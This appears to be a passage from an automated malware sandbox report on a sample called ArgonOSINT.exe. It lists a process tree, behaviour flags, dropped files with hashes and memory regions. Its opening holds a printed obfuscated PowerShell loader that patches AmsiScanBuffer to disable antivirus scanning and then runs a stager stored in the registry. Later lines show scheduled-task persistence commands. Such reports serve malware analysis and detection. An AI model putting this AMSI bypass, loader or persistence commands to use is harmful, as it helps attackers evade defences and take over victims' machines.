'P'+[Char](117)+'bl'+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+[Char](66)+''+[Char](121)+'S'+'i'+''+[Char](103)+''+[Char](44)+'N'+[Char](101)+''+[Char](119)+'S'+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+''+[Char](97)+''+[Char](108)+'',$xVUzvVptwL,$EZyjtktkXGCjtl).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+'t'+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');Write-Output $WSFlLdmVxgZ.CreateType();}$eFpAgkxDAslhC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+'st'+[Char](101)+''+[Char](109)+''+[Char](46)+''+[Char](100)+''+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+[Char](114)+'o'+[Char](115)+''+[Char](111)+'ft.'+[Char](87)+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+''+'n'+''+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+'v'+[Char](101)+'Me'+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+'s'+'');$NpFZxJWYzcAdVi=$eFpAgkxDAslhC.GetMethod('G'+[Char](101)+''+[Char](116)+''+'P'+''+[Char](114)+''+'o'+'cA'+[Char](100)+''+[Char](100)+''+'r'+''+[Char](101)+''+[Char](115)+'s',[Reflection.BindingFlags](''+'P'+'ub'+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+'S'+'t'+''+'a'+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CoxSzGYyOVbBWMmJPmJ=wZeTAnaBqeJh @([String])([IntPtr]);$BZkrLomjgLisRCTBebWJON=wZeTAnaBqeJh @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$OWpMlJPDvfk=$eFpAgkxDAslhC.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+'u'+''+[Char](108)+''+[Char](101)+''+'H'+''+'a'+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+'r'+''+[Char](110)+'e'+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+''+'d'+'ll')));$eeyWnGmNcybqBV=$NpFZxJWYzcAdVi.Invoke($Null,@([Object]$OWpMlJPDvfk,[Object](''+[Char](76)+''+'o'+''+[Char](97)+''+'d'+''+'L'+'i'+[Char](98)+''+[Char](114)+'a'+[Char](114)+''+'y'+'A')));$fyNYSBMDjxSxFxXvp=$NpFZxJWYzcAdVi.Invoke($Null,@([Object]$OWpMlJPDvfk,[Object]('V'+[Char](105)+''+[Char](114)+''+'t'+''+[Char](117)+'a'+'l'+''+[Char](80)+''+'r'+''+[Char](111)+''+[Char](116)+'e'+[Char](99)+''+'t'+'')));$aJOebLn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($eeyWnGmNcybqBV,$CoxSzGYyOVbBWMmJPmJ).Invoke('am'+'s'+'i'+[Char](46)+''+[Char](100)+'ll');$PpykmwXSWpTGsCUsF=$NpFZxJWYzcAdVi.Invoke($Null,@([Object]$aJOebLn,[Object](''+[Char](65)+'ms'+'i'+''+'S'+''+[Char](99)+''+[Char](97)+''+'n'+''+'B'+''+[Char](117)+''+'f'+''+'f'+''+'e'+''+[Char](114)+'')));$rypVIhrgCY=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fyNYSBMDjxSxFxXvp,$BZkrLomjgLisRCTBebWJON).Invoke($PpykmwXSWpTGsCUsF,[uint32]8,4,[ref]$rypVIhrgCY);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$PpykmwXSWpTGsCUsF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($fyNYSBMDjxSxFxXvp,$BZkrLomjgLisRCTBebWJON).Invoke($PpykmwXSWpTGsCUsF,[uint32]8,0x20,[ref]$rypVIhrgCY);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue('$'+[Char](55)+''+'7'+''+'s'+'t'+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netprofm -p -s netprofm1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\sihost.exesihost.exe2⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of UnmapMainImage
-
C:\Users\Admin\AppData\Local\Temp\ArgonOSINT.exe"C:\Users\Admin\AppData\Local\Temp\ArgonOSINT.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\ArgonOSINT.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Roaming\Windows\$sxr-powershell.exe"C:\Users\Admin\AppData\Roaming\Windows\$sxr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$sxr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$sxr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
-
C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77ArgonOSINT.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\ArgonOSINT.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵
-
C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
-
C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
-
C:\Windows\ImmersiveControlPanel\SystemSettings.exe"C:\Windows\ImmersiveControlPanel\SystemSettings.exe" -ServerName:microsoft.windows.immersivecontrolpanel1⤵
- Checks SCSI registry key(s)
- Enumerates system info in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\ApplicationFrameHost.exeC:\Windows\system32\ApplicationFrameHost.exe -Embedding1⤵
- Modifies registry class
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s BthAvctpSvc1⤵
-
C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{7966B4D8-4FDC-4126-A10B-39A3209AD251}1⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157Filesize
338B
MD5574a4e46ab2792c118b920b67e29ae52
SHA1ce441e7c2b4fc8158c45000fe687bc32f0ebb902
SHA256ba5142c8abf0dd3beac6156352655ff10b00c562294ab4ee7f58a706d39bf1d2
SHA512afb90106fa374aa9e185b63e801b6783377dac318b82ac8026bec6e71e251ea24f84e62a224fdcff29bca19365f19603646fcfc7aabcb8eb55b862cafd79e530
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64AFilesize
412B
MD5d604e313a7785d122ddbc295b969e7b8
SHA1490cd477d23ce63a6a0562ca481754fb74b42fe3
SHA25635a1b1919d2e5081033d3b10a682cd35571b08c0669406a6141e2d0377e0add2
SHA5120fcc1268b44242ce3d3b65caeb05eb7266aa784e06ae31b6ce790360cb9aafbdf1cde27349ae351cdfaabeaa2043ad7286387c6b21a6739b8e4985534991a3b7
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\EAF8AA29A62AB29E614331747385D816_F9E4DC0B9D5C777357D7DB8DEF51118AFilesize
404B
MD50442b0c5e809dbc161de47bee2189a31
SHA15cd127ca90269107ea38191bc97df7a9ec723411
SHA2569b794252176cfb5539856de5760e08d25c838c692351e123ae6f0653d756aa66
SHA5124ebecb99bafdaa4a50c38e1b4f599ca0f9b262e55933553ff7ad4875d737ce18ccf59462a758f45cc7383d193e85a587693e20875225b7abae1ccbfdaadc1185
-
C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f18460fded109990.automaticDestinations-msFilesize
2KB
MD574bfc69e41663feabf72f917193129c9
SHA10eb423d8e00ce95616644254f905624b4ba478ab
SHA256c49cf67f2e9438a4b17d3ffa0c7e7631181145c2233a0c5b106e272be745feff
SHA512e8d04e587bbe7a2d2f6bc681b313ce0eb86e55733e680be64675de65f2a499b980d7df4e261e5d2f0ef2f5301275f77a1025e6c42ed265aefa93def6ed47bbd8
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\f18460fded109990.customDestinations-msFilesize
24B
MD54fcb2a3ee025e4a10d21e1b154873fe2
SHA157658e2fa594b7d0b99d02e041d0f3418e58856b
SHA25690bf6baa6f968a285f88620fbf91e1f5aa3e66e2bad50fd16f37913280ad8228
SHA5124e85d48db8c0ee5c4dd4149ab01d33e4224456c3f3e3b0101544a5ca87a0d74b3ccd8c0509650008e2abed65efd1e140b1e65ae5215ab32de6f6a49c9d3ec3ff
-
C:\Users\Admin\AppData\Roaming\Windows\$sxr-powershell.exeFilesize
409KB
MD5c4f70954d48c8653fde31fc63c619fc8
SHA1c2fe0bc4eab66f6cbf19ab3a80817eba8084982e
SHA256dbc30b002dad39a45fdd36c509d854dc931662235886f01ec149cd8cf904ddb5
SHA5121a0db425192d25f1e96ac43a5ae18ff530ef11e2f1526fd6677f4b82b04e212679c347f5647be0d72665e2f587c2824b19d2104c48546eb049ae27fb7470defc
-
C:\Windows\Temp\__PSScriptPolicyTest_pvy20wko.ap5.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
memory/552-86-0x00007FFD1C610000-0x00007FFD1C620000-memory.dmpFilesize
64KB
-
memory/552-85-0x0000024865D60000-0x0000024865D8B000-memory.dmpFilesize
172KB
-
memory/552-79-0x0000024865D60000-0x0000024865D8B000-memory.dmpFilesize
172KB
-
memory/652-52-0x000001D356C00000-0x000001D356C2B000-memory.dmpFilesize
172KB
-
memory/652-53-0x00007FFD1C610000-0x00007FFD1C620000-memory.dmpFilesize
64KB
-
memory/652-46-0x000001D356C00000-0x000001D356C2B000-memory.dmpFilesize
172KB
-
memory/652-45-0x000001D356C00000-0x000001D356C2B000-memory.dmpFilesize
172KB
-
memory/652-44-0x000001D3569B0000-0x000001D3569D5000-memory.dmpFilesize
148KB
-
memory/708-57-0x0000029A41EB0000-0x0000029A41EDB000-memory.dmpFilesize
172KB
-
memory/708-63-0x0000029A41EB0000-0x0000029A41EDB000-memory.dmpFilesize
172KB
-
memory/708-64-0x00007FFD1C610000-0x00007FFD1C620000-memory.dmpFilesize
64KB
-
memory/768-90-0x0000025772B30000-0x0000025772B5B000-memory.dmpFilesize
172KB
-
memory/1012-68-0x000001FA875C0000-0x000001FA875EB000-memory.dmpFilesize
172KB
-
memory/1012-74-0x000001FA875C0000-0x000001FA875EB000-memory.dmpFilesize
172KB
-
memory/1012-75-0x00007FFD1C610000-0x00007FFD1C620000-memory.dmpFilesize
64KB
-
memory/2016-34-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-40-0x00007FFD5B3F0000-0x00007FFD5B4AD000-memory.dmpFilesize
756KB
-
memory/2016-33-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-35-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-36-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-38-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-41-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
-
memory/2016-39-0x00007FFD5C580000-0x00007FFD5C789000-memory.dmpFilesize
2.0MB
-
memory/2524-20-0x0000000074610000-0x0000000074DC1000-memory.dmpFilesize
7.7MB
-
memory/2524-6-0x0000000006520000-0x0000000006532000-memory.dmpFilesize
72KB
-
memory/2524-1-0x0000000000BA0000-0x0000000000C0C000-memory.dmpFilesize
432KB
-
memory/2524-2-0x0000000005BF0000-0x0000000006196000-memory.dmpFilesize
5.6MB
-
memory/2524-3-0x00000000056E0000-0x0000000005772000-memory.dmpFilesize
584KB
-
memory/2524-0-0x000000007461E000-0x000000007461F000-memory.dmpFilesize
4KB
-
memory/2524-4-0x0000000074610000-0x0000000074DC1000-memory.dmpFilesize
7.7MB
-
memory/2524-5-0x00000000057E0000-0x0000000005846000-memory.dmpFilesize
408KB
-
memory/2524-7-0x0000000006A70000-0x0000000006AAC000-memory.dmpFilesize
240KB
-
memory/4804-698-0x0000000074610000-0x0000000074DC1000-memory.dmpFilesize
7.7MB
-
memory/4804-699-0x0000000006CE0000-0x0000000006CEA000-memory.dmpFilesize
40KB
-
memory/4804-13-0x0000000074610000-0x0000000074DC1000-memory.dmpFilesize
7.7MB
-
memory/4804-14-0x0000000074610000-0x0000000074DC1000-memory.dmpFilesize
7.7MB
-
memory/4856-32-0x00007FFD5B3F0000-0x00007FFD5B4AD000-memory.dmpFilesize
756KB
-
memory/4856-22-0x000001EADB0F0000-0x000001EADB112000-memory.dmpFilesize
136KB
-
memory/4856-30-0x000001EADB4A0000-0x000001EADB4CA000-memory.dmpFilesize
168KB
-
memory/4856-31-0x00007FFD5C580000-0x00007FFD5C789000-memory.dmpFilesize
2.0MB